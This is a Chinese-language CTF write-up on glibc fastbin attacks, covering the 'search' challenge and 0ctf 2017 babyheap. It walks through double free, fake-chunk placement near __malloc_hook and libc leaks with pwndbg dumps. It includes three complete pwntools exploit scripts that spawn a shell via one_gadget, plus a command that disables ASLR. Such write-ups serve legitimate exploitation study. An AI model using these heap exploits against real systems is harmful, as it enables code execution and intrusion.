首先需要了解:
prev_inuse
标志,也就无法被合并fastbin attack就是fastbin类型的chunk中存在 堆溢出, uaf 等漏洞
用过一定手段篡改某堆块的fd指向一块目标内存(当然其对应size位置的值要合法),当我们malloc到此堆块后再malloc一次,自然就把目标内存分配到了,就可以对这块目标内存为所欲为了,达到任意地址写任意值的效果(可以是关键数据也可以是函数指针)
顾名思义,double free就是指fastbin的chunk被多次释放
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放到对应的fastbin链表中,从而达到分配指定地址的 chunk 的目的。
该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,当然同时需要栈上存在有满足条件的 size 值,从而把 fastbin chunk 分配到栈中,控制返回地址等关键数据。
与Alloc to Stack
不尽相同,但它范围更广。只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
比如利用字节错位
等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
首先要搞懂程序流程
menu
1: Search with a word
2: Index a sentence
3: Quit
首先 2 写入句子,首先输入句子长度,且句子是由单词构成,每个单词后面都要加 空格 才能检测到,所以长度是带空格的长度
1 查找单词,输入单词长度和单词,查找当前所有的句子中含有这个单词的句子,显示一条并询问是否删除,再往下显示
我们输入句子长度为8的句子“how are ”
0x603430 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x603420,
bk = 0x3,
fd_nextsize = 0x603420,
bk_nextsize = 0x8
}
0x603460 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x603424,
bk = 0x3,
fd_nextsize = 0x603420,
bk_nextsize = 0x8
}
pwndbg> x/20gx 0x603410
0x603410: 0x0000000000000000 0x0000000000000021
0x603420: 0x2065726120776f68 0x0000000000000000 ==>sentence
0x603430: 0x0000000000000000 0x0000000000000031 ==>申请了0x30大小的chunk存放word
0x603440: 0x0000000000603420 0x0000000000000003 ==>word1 how 的地址 长度
0x603450: 0x0000000000603420 0x0000000000000008 ==>sentence 的地址 长度
0x603460: 0x0000000000000000 0x0000000000000031 ==>同上
0x603470: 0x0000000000603424 0x0000000000000003 ==>word2 are 的地址 长度
0x603480: 0x0000000000603420 0x0000000000000008 ==>sentence 的地址 长度
0x603490: 0x0000000000603440 0x0000000000000031
0x6034a0: 0x00000000006034d0 0x0000000000000003
malloc_trim
函数里找到。由于存在double free
漏洞
首先申请大小相同的 a b c三块,然后依次释放 c b a(因为搜索的顺序跟添加顺序相反)。此时fast bin里 a->b->c->null,然后再次释放b就会导致 b->a->b->a…
这里注意的就是 在再次释放b的时候,因为c的fd指向null所以不进入搜索,b第一个进入搜索,所以只再次释放第一个结果,其余的都不再释放。
pwndbg> fastbin
fastbins
0x20: 0x2105150 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x2105010 —▸ 0x2105170 —▸ 0x2105240 ◂— 0x0
0x80: 0x0
=======================
double free之后
=======================
pwndbg> fastbin
fastbins
0x20: 0x2105150 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x2105170 —▸ 0x2105010 ◂— 0x2105170
0x80: 0x0
改写__malloc_hook
为one_gadget
。在malloc的时候,不会检查地址的对齐,只会检查size的大小是否符合。所以构造我们的堆块大小为0x60,这是因为(0x60+8)对齐16大小为0x70在fastbin[5]里,而0x7f刚好也对应着fastbin[5]。64位计算方法为 0x7f>>4 -2。而在main_arenahook处,很多地址都以0x7f开头,可以利用字节错位来构造假的size。(使用pwndbg的find_fake_fast
)
把前面申请的chunk a b c重新使用后,再次调用malloc时,就会跳转到one_gadget执行
pwndbg> print (void*)&main_arena
$2 = (void *) 0x7f4be2dc8b20 <main_arena>
pwndbg> print (void*)&__malloc_hook
$3 = (void *) 0x7f4be2dc8b10 <__malloc_hook>
pwndbg> x/10gx 0x7f4be2dc8b10
0x7f4be2dc8b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f4be2dc8b20 <main_arena>: 0x0000000000000000 0x00000000010f5150
0x7f4be2dc8b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f4be2dc8b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f4be2dc8b50 <main_arena+48>: 0x0000000000000000 0x00000000010f5010
pwndbg> find_fake_fast 0x7f4be2dc8b10 0x7f
FAKE CHUNKS
0x7f4be2dc8aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
prev_size = 5468175281376198656,
size = 127,
fd = 0x4be2a89e20000000,
bk = 0x4be2a89a0000007f,
fd_nextsize = 0x7f,
bk_nextsize = 0x0
}
pwndbg> print /x 0x7f4be2dc8b10-0x7f4be2dc8aed # __malloc_hook - fake_chunk_addr
$4 = 0x23 # padding = 0x23 - 0x10
pwndbg> print /x 0x7f4be2dc8b20-0x7f4be2dc8aed # main_arena - fake_chunk_addr
$5 = 0x33
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
binary = "./search"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
io.sendlineafter("Quit\n", str(choice))
def search(word):
menu(1)
io.sendlineafter("size:\n", str(len(word)))
io.sendafter("word:\n", word)
def delete(yn):
io.recvuntil("(y/n)?\n")
io.sendline(yn)
def index(sent):
menu(2)
io.sendlineafter("size:\n", str(len(sent)))
io.sendafter("sentence:\n", sent)
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0
sent = 'a'*0x99 + ' b '
index(sent)
search('b')
delete('y')
search('\x00')
io.recvuntil("Found " + str(len(sent)) + ": ")
unsorted_addr = u64(io.recv(8))
delete('n')
print "unsorted_addr = " +hex(unsorted_addr)
libc_base = unsorted_addr - 0x3c4b78
main_arena_offset = 0x3c4b20
main_arena = libc_base + main_arena_offset
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadget[3]
sent = 'a' * 0x5d + ' c ' # 1
index(sent)
sent = 'a' * 0x5d + ' c ' # 2
index(sent)
sent = 'a' * 0x5d + ' c ' # 3
index(sent)
search('c')
delete('y')
delete('y')
delete('y')
# main_arena -> 1 -> 2 -> 3 -> NULL
search('\x00')
delete('y')
delete('n')
delete('n')
# main_arena -> 2 -> 1 -> 2 -> 1 -> ...
fake_chunk_addr = main_arena - 0x33
index(p64(fake_chunk_addr).ljust(0x60, 'a'))
index('b' * 0x60)
index('c' * 0x60)
sent = 'a' * 0x13 + p64(one_gadget)
sent = sent.ljust(0x60, 'a')
# gdb.attach(io)
index(sent)
io.interactive()
if __name__ == '__main__':
pwn(ip, port, 1)
做完感觉挺简单的...
保护全开
功能:
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
calloc的size是在Allocate
中输入的。而Fill
时size是重新输入的,可以造成堆溢出。
(内存分配函数是calloc而不是malloc,calloc分配chunk时会对内存区域进行置空,也就是说之前的fd和bk字段都会被置为0)
先关闭PIE方便调试
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
在gdb中使用
skip function alarm
跳过alarm函数,方便调试,但是每次调试都需要执行这么一句。
或者就通过patch二进制文件删除alarm函数
alloc四个fast chunk,一个small chunk
先释放1,再释放2
pwndbg> x/40gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 ==>0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 ==>1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 ==>2
0x555555757050: 0x0000555555757020 0x0000000000000000 ==>后入先出,所以chunk2的fd指向chunk1
0x555555757060: 0x0000000000000000 0x0000000000000021 ==>3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 ==>4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
接下来,通过堆溢出漏洞,将chunk2的fd指针第一个字节修改为0x80指向chunk4,由于1, 2都被free,所以通过chunk0进行修改
因为申请fast chunk时会检测chunk_size和chunk_index是否匹配【index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8】,所以我们还需要修改chunk4的size位为0x21
alloc(0x10) ==>得到原来chunk2空间
alloc(0x10) ==>得到chunk4空间,可以控制
前提:当内存中只有一个small chunk的时候,且该chunk处于申请空间的内存最高位,那么释放后的fd bk并不会指向libc中的某处
所以我们应该再alloc一个small chunk,使chunk4不在最高位
再将chunk4的size位修复,使chunk4被释放后,fd bk指向libc某处
这时候打印chunk2就可以得到top chunk,它与main_arena偏移固定,为0x3c4b78,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)
又,malloc中不为空时,就执行它指向的函数,如果我们将指针改为shell函数,那么调用malloc就会触发getshell
pwndbg> x/30gx &__malloc_hook-0x10
0x7ffff7dd1a90 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aa0 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ab0 <_IO_wide_data_0+240>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0
__malloc_hook
恰好在main_arena - 0x10
处。
pwndbg> x/10x 0x7ffff7dd1ae0 - 0x3
0x7ffff7dd1add <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
偏移为0x3c4b78 - (0x7ffff7dd1b70 - 0x7ffff7dd1aed) = 0x3c4aeb
小tips:缩进的tab或空格不能混用,要么全用tab 要么全用空格。okok我今天才第一次遇见
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
ip = " "
port = 0
io = 0
elf = ELF("./babyheap_0ctf_2017")
def menu(choice):
io.sendlineafter(": ", str(choice))
def alloc(size):
menu(1)
io.sendlineafter(": ", str(size))
def fill(idx, size, content):
menu(2)
io.sendlineafter(": ", str(idx))
io.sendlineafter(": ", str(size))
io.sendafter(": ", content)
def free(idx):
menu(3)
io.sendlineafter(": ", str(idx))
def dump(idx):
menu(4)
io.sendlineafter(": ", str(idx))
def pwn(ip, port, debug):
global io
if(debug == 1):
io = process("./babyheap_0ctf_2017")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, len(payload), payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, len(payload), payload)
alloc(0x10) #1==> 2
alloc(0x10) #2==> 4
payload = p64(0)*3
payload += p64(0x91)
fill(3, len(payload), payload)
alloc(0x80)
free(4)
dump(2)
io.recvuntil("\n")
libc_base = u64(io.recvuntil("Command")[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, len(payload), payload)
alloc(0x60)
alloc(0x60)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base + one_gadget[1])
fill(6, len(payload), payload)
alloc(233)
io.interactive()
if __name__ == '__main__':
pwn("node3.buuoj.cn", 28315, 1)
Dump
功能来打印,但是Dump
只能打印没有被Free
的contentFree
的content,但是其中包含了一个被free的chunk,如何实现? 既然存在堆溢出,当然是通过改写size来达到目的。__malloc_hook
,通过堆溢出改写fd到__malloc_hook
附近地址,连续calloc两次就到附近地址进行写入,写入到__malloc_hook
时将该处填写成one_gadget
即可。再次Alloc调用calloc时,就会执行__malloc_hook
处的one_gadget
拿shell了。【这里和我文章fastbin attack中search这个题一样的】好了可以着手写exp了
原po说的是exp没有libc限制,其实不然....
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./babyheap')
# r = remote('127.0.0.1',9999)
#FUNCTION DEFINE
def new(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))
def edit(idx,size,content):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(content)
def delet(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))
new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 for protecting top_chunk merge
delet(1)
payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)
new(0x130)
payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)
delet(2)
echo(1)
r.recvuntil("Content: n")
r.recv(0x90 + 0x10)
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78
new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.4 for overflow
new(0x60) #idx.5 to fastbin[5]
new(0x10) #idx.6 for protecting top_chunk merge
delet(5) #NOTICE: idx.5 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)
new(0x60) #idx.5
new(0x60) #idx.7
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)
new(0x100)
r.interactive()
参考:
1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
上述四种attack方法的demo都可以参照ctfwiki中给的 ↑
https://juejin.im/entry/5c177e6ff265da6141717bcd
search:
https://www.twblogs.net/a/5d012568bd9eee14644f97a1/zh-cn
https://bbs.pediy.com/thread-247219-1.htm ==>他把两种方法【wiki && gulshansingh的】都分析了一下
veritas师傅有一篇调教pwndbg的文章可以优化find_fake_fast
,不需要设置大小,直接打印出可用的和padding
2
https://juejin.im/entry/5c177e6ff265da6141717bcd